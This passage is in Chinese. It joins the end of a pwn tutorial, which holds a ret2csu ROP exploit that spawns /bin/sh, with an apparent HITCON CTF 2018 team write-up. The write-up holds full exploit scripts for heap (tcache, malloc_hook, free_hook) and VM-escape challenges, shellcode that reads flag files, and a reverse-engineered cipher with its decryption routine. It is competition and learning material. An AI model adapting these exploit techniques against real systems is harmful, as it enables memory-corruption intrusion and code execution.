> 小于count值，但是仍然大于0；二是在读完count要求字节之前，仍然没有到达文件的末尾，这是实际返回的字节数等于要求的count值。
>
> 2、如果读取时已经到达文件的末尾，则返回0。
>
> 3、如果出错，则返回－1。
我们可以调用read函数读取0x3b长度的自己,然后返回的时候rax会返回0x3b的,然后再调用syscall就可以了。
我们想调用read的时候需要控制rax=0,这个程序刚好满足。
**编写exp:**
首先回到ret2csu上面,根据程序指令我们可以确定csu函数如下结构
结合syscall的指令,后面的gadget用了`retn`
这里我们就不需要填充到0x38,然后继续向下执行了,直接拼接在后面即可。
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
return payload
完整的EXP如下:
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
# from libformatstr import *
debug = True
# 设置调试环境
context(log_level = 'debug', arch = 'amd64', os = 'linux')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
if debug:
sh = process("./pwn")
elf=ELF('./pwn')
else:
link = "x.x.x.x:xx"
ip, port = map(lambda x:x.strip(), link.split(':'))
sh = remote(ip, port)
elf = ELF('./quantum_entanglement')
se = lambda x:sh.send(x)
sl = lambda x: sh.sendline(x)
rc = lambda: sh.recv(timeout=0.5)
ru = lambda x:sh.recvuntil(x, drop=True)
rn = lambda x:sh.recv(x)
un64 = lambda x: u64(x.ljust(8, 'x00'))
un32 = lambda x: u32(x.ljust(3, 'x00'))
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
global csu_end_addr
global csu_front_addr
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
return payload
csu_end_addr = 0x000000000040069A
csu_front_addr = 0x0000000000400680
bss_addr = elf.bss()+0x20
gets_plt_addr = elf.plt["gets"]
pop_rdi_addr = 0x4006a3
syscall_addr = 0x40061A
start = 0x4004F0
log.success("bss_addr => {}".format(hex(bss_addr)))
log.success("gets_plt_addr => {}".format(hex(gets_plt_addr)))
log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr)))
log.success("csu_end_addr => {}".format(hex(csu_end_addr)))
log.success("csu_front_addr => {}".format(hex(csu_front_addr)))
offset = 0x78
payload1 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) +
p64(start)
# pause()
# gdb.attach(sh, "b *0x400633")
# pause()
sl(payload1)
sl(p64(syscall_addr))
payload2 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr+8) + p64(gets_plt_addr) +
p64(start)
sl(payload2)
sl("/bin/shx00")
payload3 = offset * "A"
payload3 += csu(0, 1, bss_addr, 59, bss_addr+0x20, 0, start)
payload3 += csu(0, 1, bss_addr, 0, 0, bss_addr+8, start)
sl(payload3)
sl("A"*58)
sh.interactive()
这里主要是利用了`read(0, bss_addr+0x20), 59)`,然后传入值,即可控制rax的返回值为0x
3b.
这个考点的原理是从SROP中发散出来的,平时没什么人注意，这个可以认真学习一波,不过这里的csu用的还是很巧妙的，能很好地多次刷新寄存器的值，来调用函数。
## 0x5 总结
栈上的套路还是有很多的,如一些地址残余在栈上、其他变形利用等等，路漫漫其修远兮，只能通过以赛促练来提高自己了。本来打算把dynelf写写，但是发现dynelf网上的文章原理方面介绍比较难理解，所以打算将其作为一个专题来认真学习下,然后再学习下SROP的知识,最终以一篇总结性文章收尾。
## 0x6 参考链接
[Linux pwn从入门到熟练（三）](https://desword.github.io/2019/10/29/linux-pwn-basic-3/)
[菜鸟学PWN之ROP学习](//www.killshadow.xyz/2019/06/06/1.2-%E8%8F%9C%E9%B8%9F%E5%AD%A6PWN%E4%B9%8BROP%E5%AD%A6%E4%B9%A0/))
[详解 De1ctf 2019
pwn——unprintable](https://www.anquanke.com/post/id/183859#h3-3)
[ret2csu学习](https://bbs.pediy.com/thread-257546.htm)
[Linux X86 程序启动 – main函数是如何被执行的？](https://luomuxiaoxiao.com/?p=516)
[Pwntools之DynELF原理探究](https://www.freebuf.com/articles/system/193646.html)
[Memory Leak & DynELF](https://www.jianshu.com/p/2405d137ca04)
[浅析栈溢出遇到的坑及绕过技巧](https://zhuanlan.zhihu.com/p/99321839)
[pwn BackdoorCTF2017 Fun-Signals](https://firmianay.gitbooks.io/ctf-all-in-one/doc/6.1.4_pwn_backdoorctf2017_fun_signals.html) | 社区文章 |
# 2018 hitcon CTF
> By Nu1L
比赛网址：<https://ctf2018.hitcon.org/>
比赛时间：2018/10/20 02:00 UTC ~ 2018/10/22 02:00 UTC
* * *
## PWN
### children tcache
from pwn import *
#p=process('./child',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('54.178.132.125', 8763)
libc = ELF('./libc.so.6')
def add(size,data):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(data)
def dele(index):
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(index))
for i in range(7):
add(0x80,'xxx\n')
for i in range(7):
dele(i)
for i in range(7):
add(0x110-8,'xxx\n')
add(0x110-8,'aaaa\n')#7
add(0x100,'bbbb\n')#8
add(0x100,'cccc\n')#9
for i in range(7):
dele(i)
dele(8)
dele(7)
#raw_input()
for i in range(7):
add(0x110-8,'aaaa\n') #0-6
add(0x110-8,'a'*(0x110-8))#7
for i in range(7):
dele(i)
#raw_input()
for i in range(7):
add(0x80,'1234567\n')#0-6
add(0x80,'xxxxxxxx\n')#8
for i in range(7):
dele(i)
add(0x60,'ABCD\n')#0
dele(8)
dele(9)
add(0x40,'a\n')#1
add(0x30,'b\n')#2
add(0x500,'aaaa\n')#3
add(0x120,'bbbb\n')#4
#0,3->same chunk
dele(3)
p.recvuntil('choice')
p.sendline('2')
p.recvuntil("Index:")
p.sendline('0')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x00007f2e9c12dca0-0x7f2e9bd42000)
info("libc:0x%x",libc_base)
malloc_hook = libc_base+libc.symbols['__malloc_hook']
info("malloc hook:0x%x",malloc_hook)
one = libc_base + 0x10a38c
add(0x500,'aaaaa\n')#3
dele(3)
add(0x120,'ABCDABCD\n')
dele(4)
dele(3)
dele(0)
add(0x120,p64(malloc_hook)+'\n')
add(0x120,p64(one)+'\n')
add(0x120,p64(one)+'\n')
p.sendline('1')
p.sendline('304')
p.interactive()
### Groot
指针未初始化
#!/usr/bin/env python2
# coding:utf-8
from pwn import *
import os
VERBOSE = 1
DEBUG = 1
LOCAL = 0
target = 'groot'
libc = [] # 加载指定libc
break_points = []
remote_addr = '54.238.202.201'
remote_port = 31733
def hint(break_points=[]):
if LOCAL:
out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0])
for bp in break_points:
out += " -ex 'b *{}'".format(hex(bp))
raw_input(out+" -ex 'c'\n" if break_points else out+"\n")
# if libc:
# elf = ELF(libc[0])
# gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
if LOCAL:
if libc:
for libc_ in libc:
os.environ['LD_PRELOAD'] = os.environ['PWD'] + '/' + libc_ + ':'
p = process('./'+target)
if DEBUG:
out = 'gdb attach ' + str(pwnlib.util.proc.pidof(target)[0])
for bp in break_points:
out += " -ex 'b *{}'".format(hex(bp))
raw_input(out+" -ex 'c'\n" if break_points else out+"\n")
else:
p = remote(remote_addr,remote_port)
if VERBOSE: context.log_level = 'DEBUG'
def mkdir(dir):
p.sendlineafter('$ ','mkdir '+dir)
def touch(name):
p.sendlineafter('$ ','touch '+name)
def rm(name):
p.sendlineafter('$ ','rm '+name)
def mkfile(name, content):
p.sendlineafter('$ ','mkfile '+name)
p.sendlineafter('Content?', content)
def cd(dir):
p.sendlineafter('$ ','cd '+dir)
def ls(dir):
if dir:
p.sendlineafter('$ ','ls '+dir)
else:
p.sendlineafter('$ ','ls')
def mv(src, dst):
p.sendlineafter('$ ','mv %s %s' %(src,dst))
def exp(cmd=None):
mkdir('A'*0x30)
cd('A'*0x30)
touch('B'*0x30)
cd('..')
rm('A'*0x30)
touch('X')
touch('C'*0x30)
rm('X')
ls('')
p.recv(0x14)
heap = u64(p.recv(6).ljust(8,'\x00'))
print hex(heap)
heap_base = heap - 76864
print hex(heap_base)
rm(p64(heap))
# raw_input()
ls(p64(heap_base+0x11fd0)[:-2])
# raw_input()
for i in range(4):
ls('HEHE')
# raw_input()
ls('A'*8+p16(0x561))
rm('/etc/passwd')
ls('/')
ls('/')
ls('/')
p.recvuntil('dev')
p.recv(0x10)
libc = u64(p.recv(6).ljust(8,'\x00'))
print hex(libc)
libc_base = libc - 0x789ca0
print hex(libc_base)
# raw_input()
for i in range(2):
ls('D'*0x30)
# raw_input()
rm('/dev')
# add bin sh
# ls('')
mv('HEHE','sh')
# mv('/bin/id','/bin/sh')
# cd('../../../../../../../../../../../bin')
for i in range(9):
ls('D'*0x60)
# ls('E'*0x40)
# ls('E'*0x40)
rm('/boot')
ls('E'*0x40)
# raw_input('hehehe')
free_hook = 7911656 + libc_base
malloc_hook = 0x789c30 + libc_base
magic = 0x4f440 + libc_base + 3792896
ls('X'*0x40+p64(heap_base+0x50-0x28))
ls('D'*0x30)
# raw_input('sending free hook')
# ls(p64(free_hook-0x28)[:-2])
# raw_input()
print hex(magic)
print hex(free_hook)
rm('A'*0x28+p64(free_hook))
# mkdir('../../../../../../../../../../../../../../bin/sh')
# mv('/bin/id',p64(magic))
ls(p64(magic))
p.recvrepeat(1)
# raw_input()
p.sendline('rm ' + '../'*8+'home/groot/sh')
# raw_input()
# ls('123')
# mkdir('ttt')
# cd('ttt')
# for i in range(10):
# mkdir(str(i)*0x30)
# mkdir('C'*0x30)
# cd('C'*0x30)
# touch('A'*0x30)
# cd('..')
# rm('C'*0x30)
# touch()
p.interactive()
if __name__ == '__main__':
exp("id")
### Abyss I
是个堆栈机VM
swap 没有边界检查，可以越界到machine
把machine盖成负数，可以向上写got表
输入中放入shellcode，改shellcode跳过去即可
from pwn import *
p = remote('35.200.23.198', 31733)
context(arch = 'amd64', os = 'linux')
context.aslr = False
#p = process('./user.elf')
#gdb.attach(p)
#p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' '))
payload = '4294967295\\'
payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2)
payload += '0:'
payload += '1:'
payload += '%%%%1;'
payload += str(0x2030A4 + 0x100 - 0x7b6) + '+'
# payload += str(0x7BEC0 - 0x4f322) + '\x011'
# payload += ';-'
# payload += '0;'
# payload += '.'
payload += '0;'
payload += ','
payload = payload.ljust(0x100, '\x01')
payload += asm(shellcraft.amd64.linux.open('flag', 0, 0))
payload += asm(shellcraft.amd64.linux.read(3, 'rsp', 0x100))
payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x100))
p.sendline(payload)
p.interactive()
### Abyss II
系统调用号对应的处理函数(大概)
(0, '0x239L') read
(1, '0xa9aL') write
(2, '0x972L') open
(3, '0xf4bL')
(5, '0x1caL')
(9, '0xc47L')
(10, '0x17b2L')
(11, '0xd54L')
(12, '0xbc6L')
(20, '0xb0dL')
(21, '0xa4cL')
(60, '0x966L')
(158, '0xb87L')
(221, '0x195L')
(231, '0x966L')
(257, '0xa39L')
write_sys 应该可以溢出。。。。试一试
让buf的地址加上size溢出到一个很小的数应该就可以过那个检查
kmalloc很大的数的时候会返回0，看了一下hypervisor似乎image base也是0，大概可以覆盖代码
hypervisor还有个蜜汁验证
已经能成功执行shellcode了，还需要逆一下串口的交互，手写一下open，read和write
from pwn import *
import time
context(arch = 'amd64', os = 'linux')
context.aslr = False
def runshellcode(p, s):
payload = '4294967295\\'
payload += '%' * ((0x2020a0 - 0x202030) / 4 - 2)
payload += '0:'
payload += '1:'
payload += '%%%%1;'
payload += str(0x2030A4 + 0x100 - 0x7b6) + '+'
payload += '0;'
payload += ','
payload = payload.ljust(0x100, '\x01')
payload += asm('push 0x61616161')
payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 0x4))
payload += asm(shellcraft.amd64.linux.read(0, 'rsp', 0x1000))
payload += asm('jmp rsp')
p.sendline(payload)
p.recvuntil('aaaa')
p.send(s)
context.log_level = 'debug'
def main():
p = remote('35.200.23.198', 31733)
#p = process('./user.elf')
#p = process('./hypervisor.elf kernel.bin ld.so.2 ./user.elf'.split(' '))
payload = ''
mmap_addr = 0x500000
payload += asm(shellcraft.amd64.linux.mmap(mmap_addr, 0x10000, 7, 16, -1, 0))
payload += asm('push rax')
payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8))
payload += asm(shellcraft.amd64.linux.read(0, mmap_addr, 0x10000))
payload += asm(shellcraft.amd64.linux.write(1, mmap_addr, 0x10000000000000000 - mmap_addr + 0x300000))
payload += asm('push rax')
payload += asm(shellcraft.amd64.linux.write(1, 'rsp', 8))
runshellcode(p, payload)
time.sleep(10)
payload = 'flag2'.ljust(8, '\x00')
payload += p64(3) + p64(0x100) + p64(0x100)
payload += p64(1) + p64(0x100) + p64(0x100)
payload = payload.ljust(0xa5d, '\x90') + '\x90'*36
payload += asm('''
mov dx, 0x8000
mov eax, 0x0
''')
payload += '\xef\xed'
payload += asm('''
mov dx, 0x8001
mov eax, 0x8
''')
payload += '\xef\xed'
payload += asm('''
mov dx, 0x8002
mov eax, 0x20
''')
payload += '\xef\xed'
payload += '\xeb\xfe'
payload = payload.ljust(0xadb, '\x90')
payload += '\xeb\x80'
p.send(payload)
p.interactive()
if __name__ == '__main__':
main()
### Super Hexagon | solved 1, stuck 2 | pzhxbz
#### 第一层
scanf里面似乎有一个溢出，可以覆盖函数指针
## Reverse
### EOP
感觉是用c++的异常处理机制实现的一个像控制流平坦化的东西。。。。
使用gdb script进行跟踪
b *(0x8000000+0x5620)
python f = open('log','w')
run < test_input
set $ipx=1
while ($ipx)
python a = hex(gdb.parse_and_eval("$rax"))
python f.write(a+'\n')
continue
end
可以拿到程序的调用函数顺序，大致分析之后发现程序大概为3个循环对用户输入进行加密
大致分析后可以发现中间很多代码都是一样的，猜测是一个循环被拆分出来的结果。
于是半猜半蒙的一步一步还原算法 orz
还原之后的算法如下：
from pwn import *
index_table1 = [1448535819,1128528919,3149608817L,134807173,3570665939L,3806473211L,2728570142L,1936927410,3014904308L,757936956,2358043856L,3082270210L,2374833497L,101119117,2324303965L,3166450293L,3334870987L,3486456007L,2593817918L,2863289243L,1296954911,3941258622L,1212708960,3772817536L,774785486,1061104932,3284375988L,336915093,4227576212L,1970658879,4210704413L,3907542533L,3469666638L,791656519,555856463,1600120839,1953771446,3318050105L,3739122733L,1246425883,3924406156L,3048553849L,2004309316,2981184143L,117900548,2913818271L,1347425158,1162152090,4075994776L,3452801980L,1802191188,3368558019L,2526413901L,1717973422,3099086211L,320073617,3267520573L,2459073467L,690572490,2947538404L,3200170254L,960092585,993743570,623234489,4042274275L,1330609508,707409464,4261233945L,2644344890L,3520169900L,3553823959L,2341200340L,3065399179L,33721211,1145370899,2678000449L,3789639945L,1094809452,1819034704,825304876,505323371,454758676,2560101957L,1549570805,589510964,3991785594L,370565614,4244419728L,2240146396L,3974898163L,2391699371L,724289457,1313770733,185304183,2543318468L,1482222851,842161630,1195869153,16904585,2930650221L,3840204662L,2122209864,2442199369L,4160172263L,2021174981,2577006540L,1835906521,2779097114L,2223250005L,3604382376L,4143366510L,1633760426,202146163,2071712823,875866451,1532729329,1280051094,3722249951L,0,421108335,2088554803,2475919922L,2896996118L,252705665,4126522268L,2139073473,1027450463,404253670,606354480,3132802808L,1229556201,2509602495L,1650609752,572704957,976921435,3031747824L,3537042782L,4025441025L,2408554018L,3755969956L,2745392279L,2273796263L,488498585,2610656439L,2307484335L,1515873912,3654908201L,2711738348L,286352618,522153698,4294954594L,2661219016L,1077970661,3705468758L,640071499,1431674361,1397975412,353704732,2812748641L,1566401404,3250655951L,2425417920L,3385453642L,1381144829,2694850149L,3435946549L,741130933,2172752938L,4278075371L,673758531,943204384,387420263,1499012234,67403766,3351766594L,3873854477L,269522275,3823360626L,1987486925,1010587606,3115957258L,1886408768,3671720923L,2155898275L,168457726,1044307117,2627498419L,3958056183L,3638069408L,909517352,84250239,1785376989,1179021928,808507045,1263207058,1667481553,3688624722L,2256965934L,859024471,437969053,3233866566L,1903272393,1414818928,1852755755,4177054566L,656885442,2290653990L,2189618904L,2492763958L,1616954659,3587569754L,3503322661L,1465325186,538985414,3890718084L,2964370182L,1111625118,2037997388,2105352378,2829637856L,3301219504L,2762234259L,1734852647,235801096,2880152082L,1920129851,3183330300L,3402274488L,218984698,4193860335L,1364320783,4059153514L,1768540719,4109650453L,892688602,471602192,4008618632L,926405537,2054825406,50559730,3621221153L,1701137244,151588620,3857002239L,3419105073L,1751661478,1684323029,2998024317L,4092808977L,3216984199L,2206408529L,303177240,2795950824L,1583225230,2846435689L,1869561506]
index_table2 = [67438343,1346661484,3474112961L,1136470056,1858205430,1427801220,1604730173,4240686525L,3371867806L,1618495560,1593692882,628543696,132669279,2381579782L,895667404,561240023,3190127226L,4173773498L,2808121223L,3460902446L,3932426513L,1548445029,714375553,4106859443L,247054014,2317113689L,1819754817,943073834,3236991120L,4213957346L,3865778200L,2472125604L,1764338089,2648709658L,847942547,269753372,1413573483,1937837068,2714974007L,3985395278L,2005142283,2140013829,2180714255L,2086886749,3607942099L,3730649650L,1292146326,357233908,1805590046,2673257901L,3273509064L,2629563893L,2269691839L,1537423930,1158584472,1009986861,2202908856L,1030275778,2539430819L,2788911208L,3407333062L,2292903662L,3906119334L,156361185,3772295336L,2693322968L,2894582225L,4135519236L,4281263589L,1791291889,1966259388,424017405,3259377447L,3596041276L,2249412688L,3571551115L,1281325433,2494692347L,3450107510L,1337073953,3663213877L,1872369945,2100867762,606945087,2581929245L,3439303065L,2651669058L,134876686,2182502231L,2448364307L,2427780348L,1685933903,3973554593L,180140473,0,828885963,3518980963L,471536917,335103044,3096890058L,3316545656L,2722000751L,1926947811,1886147668,580816783,1091280799,3528604475L,536235341,1470903091,3674462938L,1403597876,2336732854L,1657733119,112439472,468929098,2517060684L,4201647373L,447260069,1629726631,1831644846,1203253039,3145437842L,2989126515L,2963064004L,1048943258,1361019779,3850780736L,4039947444L,2515145748L,3719326314L,1994384612,2942994825L,2922473062L,4269083146L,1189331136,3504639116L,1481532002,600137824,915379348,1724643576,673330742,1004237426,3918088521L,1494584717,3249241983L,2034087349,1737496343,2827146966L,981507485,4254618194L,4120009820L,3304429463L,2876214926L,2060512749,3382800753L,2449623883L,2605951658L,2360338921L,2127948522,199710294,2849585465L,3741769181L,1670713360,3029976003L,1071543669,4013619705L,1561365130,647727240,3878746103L,2855559521L,735014510,1146451831,1270294054,2072707586,45529015,1213890174,809247780,336665371,2760761311L,2741338240L,3839733679L,514695842,781289094,402408259,1224839569,3163803085L,1899477947,1752319558,2982619947L,2158026976L,202311945,380087468,2314273025L,1697030304,3706422661L,2916892222L,65886296,3117229349L,2562650866L,2403512753L,312650667,1391647707,3077872539L,876159779,4053228379L,3049401388L,1323945678,1526257109,539506744,801794409,2782277680L,1122420679,740766001,666920807,22802415,90106088,869366908,3326287904L,3393988905L,1079013488,290452467,3946839806L,4187837781L,2225465319L,3999340054L,1459084508,3783477063L,3212744085L,2248017928L,3340292047L,4068082435L,3585762404L,3811963120L,763158238,404623890,1953059667,1257032137,3639509634L,2384027230L,3122691453L,695851481,2584233285L,963495365,3652545901L,490797818,3056563316L,936672123,2019973722,3798867743L,4079086828L,4146392043L,3184009762L,3010567324L,3540636884L,266490193,223667942]
index_table3 = [3188637369L,582820552,701114700,4220844977L,1243302643,2083749073,4237360308L,274927765,1468159766,1029651878,1293897206,3161832498L,1722705457,1730635712,1125598204,1117667853,3815957466L,1443583719,2167046548L,3554136844L,354161947,1167738120,92210574,1059340077,2663948026L,4009881435L,446503648,2026207406,1941074730,3213344584L,3251618066L,1097613687,1586388505,607134780,3104487868L,3832997087L,83231871,2953228467L,1872916286,1612931269,1331974013,3884246949L,2345962465L,2469565322L,675489981,3492139126L,3095640141L,1442403741,3062609479L,3368273949L,3570652169L,733031367,192351108,1568431459,3377121772L,1542544279,510336671,2284226715L,3892701278L,3426077794L,1883271248,3517763975L,2554697742L,3136862918L,2546243573L,1649959502,1909027233,66192250,1674666943,4246338885L,2109373728,2309982570L,4159174448L,3044652349L,2275903328L,2671877899L,1003633490,1088766086,933312467,3918326191L,3308897645L,384702049,3601389186L,2716639703L,750070978,4120704443L,1792895664,1800694593,2195227374L,3070408630L,2719916717L,3461271273L,234491248,3775521105L,2926423596L,3696680183L,3984256464L,1240025481,1181238898,2833295576L,2691014694L,1205946243,142936318,642459319,1594318824,785264201,3579500024L,151783695,3934186197L,117704453,260116475,496573925,941635624,3858752814L,1051541212,1817209924,2994582072L,2393607791L,109905652,3859670612L,2118680154,2887167143L,1638555956,3643398521L,1916498651,2428539120L,3451702675L,3019158473L,1848340175,1416647788,2143387563,2587794053L,3679640562L,2978984258L,4001951402L,1400132457,558834098,3409038183L,2612501364L,667035462,853422685,2067233748,2629016689L,2761139289L,3529429757L,4284678094L,632890829,1842965941,4095079498L,816132310,3722435846L,1700554059,1214269560,2000975701,824979751,1359958498,3808158251L,2158198885L,2769986984L,1267878658,454302481,3299919004L,1958114351,4070109886L,328274927,4193253690L,967391705,1020673111,345314538,3958893348L,2870127522L,235408906,2035054943,2580322815L,2437517569L,3225862371L,2059303461,3283403673L,184420981,1324174988,1517836902,3727548028L,3187457475L,2203157279L,1392333464,758918451,41616011,908604962,25756145,4167497931L,0,3144792887L,2461766267L,1967093214,1755736123,2637864320L,3035673804L,4078039887L,3258827368L,470817812,208866433,793194424,2808194851L,3401108118L,2251196049L,4276878911L,2486604943L,534912878,1559583890,1502239004,426711450,1476614381,4196268608L,1284918279,3634419848L,3485978392L,3752124301L,2842274089L,3671841283L,708323894,1142113529,3335243287L,1993176740,903492952,4050317764L,2321386000L,2521667076L,1350979603,1764714954,877868201,2220196890L,303567390,2371456277L,2245821931L,392632208,3975408673L,2362477796L,2744623964L,979057315,4041470005L,3343042534L,4134467265L,417732715,300552548,590619449,3766542496L,2512360830L,2401406878L,1691706554,2862328403L,2800264914L,2912922966L,2951000029L,861352876,3609319283L,549855299]
index_table4 = [3254152897L,164942601,2959793584L,416270104,3784037601L,3834433764L,1757560168,4258422525L,2986054833L,2131031679,4036018416L,3644434905L,1563614813,736295723,398904087,1403689811,528699679,0,3384014025L,2215344004L,759112749,1277807180,3357720008L,1943478643,2539385239L,2491493012L,3634946264L,1303937869,3153435835L,425627161,4132249590L,545110560,2202526083L,1090133312,4120364277L,3072740279L,1657550178,2380244109L,3514577873L,1542390107,2278665351L,2295898248L,1871620975,598171939,2927150510L,3534153938L,475630108,3311412165L,504502302,1917216882,749628716,286987281,3695095260L,4174732024L,1963654773,1373702481,3543638483L,1787408234,1118932802,76958980,2353982860L,3284008131L,3672339162L,989458234,935031095,2324902538L,4261971454L,3257710018L,361584917,821552944,3422054091L,1956362100,2660180638L,1717205094,958608441,454368283,3972614892L,698968361,4074459890L,573974562,828812849,4094070260L,2241478277L,1203145543,2123743102,1341329743,3981968365L,3843922405L,1174214981,2455565714L,3871818470L,878815796,337383444,904979253,2951318703L,138779144,657533991,84345861,786825006,4011037167L,2000776311,2829392552L,3564845012L,222469645,2889045932L,3681696731L,3173532605L,2157787776L,1702929253,244860174,2165076865L,3090106296L,2094935420,3719292125L,2044275065,4232255484L,2252400006L,1678895716,2332195723L,2408855183L,3796963298L,1796793963,712225322,314691346,2699067552L,3756291807L,1601784927,2579739801L,2783413413L,1227804233,4181988345L,3617713367L,3881176039L,2759249316L,1667071075,628801061,4081720307L,1741369703,4001552622L,2789040038L,3341529543L,3227985856L,122459655,1847583342,2867759274L,3441801677L,1628892769,215209740,3043875253L,1424362836,499696413,2479733907L,1126221379,3472843470L,1906094961,1463604823,1264933963,3065447094L,2500879253L,1619502944,1479924312,2195105922L,3927217642L,444880154,4212097531L,1454219094,3759840736L,1047503422,115203846,2303322505L,619444004,2047079034,1097552961,3821029091L,2441490065L,674766888,2639657373L,3588914901L,1177010758,1817473132,569176865,1349533776,1518225498,3732226014L,648045862,1220511560,2988527538L,3505224400L,908736566,2877276587L,3210990015L,2838778793L,1592264030,851211570,26298625,1073670975,1433879637,951221560,3334142150L,4288269567L,2913083053L,1554224988,38507010,1993352566,2729120418L,3898542056L,996714043,3036450996L,4043409905L,168691722,3480103887L,1879964272,3593512406L,2102355069,194986251,1503957849,3951418603L,64674563,1035303229,1147949124,1257510218,4158412535L,1841641837,2073213819,1379652178,2669570975L,2382725006L,2555575704L,1767076969,3166243516L,858602547,3127170490L,2018009208,3116240569L,2738510755L,1009004604,252251151,2529867926L,2708588961L,3203569854L,3395891146L,796177967,2417452944L,3304155844L,3434410188L,4204710138L,277503248,2630135964L,3922611945L,2609391259L,2585358234L,324044307,1315067982,2813073063L,374833686,3014657715L]
xor_table = [40806489, 4046542995L, 2337878950L, 3878399079L, 449612036, 776524271, 1059181995, 1764973087, 3196283120L, 4059530435L, 404769168, 416194920, 865505623, 569110855, 4202362994L, 2884025964L, 1364091262, 3967238082L, 3323511658L, 4191090596L, 1977398017, 2934017146L, 619849321, 2598057311L, 2001658147, 3371447456L, 4101937135L, 1132035575, 4142164549L, 95912149, 3823222592L, 1423799602]
flag = raw_input()
def to_bytes(d):
res = []
tmp = hex(d).replace('0x','').rjust(8,'0')
for i in xrange(0,8,2):
res.append(int(tmp[i:i+2],16))
return res[::-1]
def ROR(d,n):
return ( (d >> n) | (d << (32-n)) ) % 0x100000000
def ROL(d,n):
return ( (d << n) | (d >> (32-n)) ) % 0x100000000
def en(data):
t1 = u32(data[0:4])
t2 = u32(data[4:8])
t3 = u32(data[8:12])
t4 = u32(data[12:16])
t1 ^= 0x0C01A4D6E
t2 ^= 0x0A4CB6636
t3 ^= 0x5B0F5BA1
t4 ^= 0x2B266926
#print(hex(t1),hex(t2),hex(t3),hex(t4))
for i in xrange(0,32,4):
tt5 = to_bytes(t1)
t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
tt6 = to_bytes(t2)
t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
t3 ^=(xor_table[i] + t5 + t6)%0x100000000
#print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
t3 = ROR(t3,1)
t4 = ROL(t4,1)
#print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000
tt5 = to_bytes(t3)
t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
tt6 = to_bytes(t4)
t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000
t1 = ROR(t1,1)
t2 = ROL(t2,1)
t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000
print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
t3 ^= 0x0EF75CB8F
t4 ^= 0x0A037222A
t1 ^= 0x0BA69619A
t2 ^= 0x60798932
return p32(t3) + p32(t4) + p32(t1) + p32(t2)
解密算法如下：
def de(data):
t3 = u32(data[0:4])
t4 = u32(data[4:8])
t1 = u32(data[8:12])
t2 = u32(data[12:16])
t3 ^= 0x0EF75CB8F
t4 ^= 0x0A037222A
t1 ^= 0x0BA69619A
t2 ^= 0x60798932
for i in range(0,32,4)[::-1]:
tt5 = to_bytes(t3)
t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
tt6 = to_bytes(t4)
t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
t2 ^= (xor_table[i+3] + t5 + t6 * 2)%0x100000000
t2 = ROR(t2,1)
t1 = ROL(t1,1)
t1 ^= (xor_table[i+2] + t5 + t6)%0x100000000
tt5 = to_bytes(t1)
t5 = index_table1[tt5[0]] ^ index_table2[tt5[1]] ^ index_table3[tt5[2]] ^ index_table4[tt5[3]]
tt6 = to_bytes(t2)
t6 = index_table2[tt6[0]] ^ index_table3[tt6[1]] ^ index_table4[tt6[2]] ^ index_table1[tt6[3]]
t4 ^= (xor_table[i+1] + t5 + t6 * 2)%0x100000000
t3 = ROL(t3,1)
t4 = ROR(t4,1)
t3 ^=(xor_table[i] + t5 + t6)%0x100000000
#print(hex(t1),hex(t2),hex(t3),hex(t4),hex(t5),hex(t6))
t1 ^= 0x0C01A4D6E
t2 ^= 0x0A4CB6636
t3 ^= 0x5B0F5BA1
t4 ^= 0x2B266926
return p32(t1) + p32(t2) + p32(t3) + p32(t4)
def xor_str(a,b):
res = ''
for i in xrange(16):
res += chr(ord(a[i]) ^ ord(b[i]))
return res
